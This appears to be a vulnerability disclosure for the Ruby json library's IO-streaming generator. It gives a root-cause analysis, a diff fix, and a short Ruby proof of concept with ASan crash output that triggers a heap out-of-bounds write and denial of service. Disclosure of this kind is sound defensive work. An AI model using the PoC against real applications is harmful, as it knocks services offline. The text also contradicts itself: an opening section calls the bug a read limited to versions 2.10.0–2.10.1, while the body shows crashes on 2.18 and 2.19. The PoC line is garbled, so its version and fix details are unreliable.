Impact
A specially crafted document could cause an out of bound read, most likely resulting in a crash.
Versions 2.10.0 and 2.10.1 are impacted. Older versions are not.
Patches
Version 2.10.2 fixes the problem.
Workarounds
None.
Summary
JSON.dump(obj, io) and JSON::State#generate(obj, io) can write past the internal JSON generator buffer when a streamed object contains an attacker-controlled string near 16 KB. The issue is a heap out-of-bounds write in the IO-streaming path and is demonstrated as a reliable process crash / denial of service.
This was triaged on HackerOne as report #3785370. The issue was confirmed there and I was asked to open it here.
Details
Root cause is in ext/json/fbuffer/fbuffer.h, fbufferdoinccapa().
On the IO path, the buffer is grown to FBUFFERIOBUFFERSIZE (16383), but the early return checks total capacity instead of remaining capacity:
c if (RBUNLIKELY(fb->io)) { if (fb->capa < FBUFFERIOBUFFERSIZE) { fbufferrealloc(fb, FBUFFERIOBUFFERSIZE); } else { fbufferflush(fb); }
if (RBLIKELY(requested < fb->capa)) { return; } }
If fb->len already contains JSON syntax bytes, and a string flush has 16383 - fb->len <= requested < 16383, this check returns even though there is not enough space left. fbufferappendreserved() then writes past the buffer:
c MEMCPY(fb->ptr + fb->len, newstr, char, len);
The minimal fix is to compare against the remaining capacity:
diff - if (RBLIKELY(requested < fb->capa)) { + if (RBLIKELY(requested <= fb->capa - fb->len)) { return; }
PoC
ruby require "json" require "stringio"
io = StringIO.new big = "a" 16385 big[16382] = '"' # escapable byte near the buffer boundary
JSON.dump([big], io)
Verified results:
text Ruby 4.0.5 / bundled json 2.18.0: malloc(): invalid size (unsorted) .../json/common.rb:956: [BUG] Aborted
ruby/ruby master c78418b7a0 / json 2.19.8 / ASan: heap-buffer-overflow WRITE of size 16382 fbufferappendreserved ext/json/fbuffer/fbuffer.h:145 searchflush ext/json/generator/generator.c:139 convertUTF8toJSON ext/json/generator/generator.c:231 rawgeneratejsonstring ext/json/generator/generator.c:922 cStatemgenerate ext/json/generator/generator.c:1891
Control: the same data through JSON.dump([big]) without an IO argument returns normally. The bug is specific to the IO-streaming path.
Impact
A remote attacker can trigger a heap out-of-bounds write if they control a string field that an application serializes through JSON.dump(obj, io) or JSON::State#generate(obj, io). The demonstrated impact is reliable denial of service. I am not claiming code execution or information disclosure.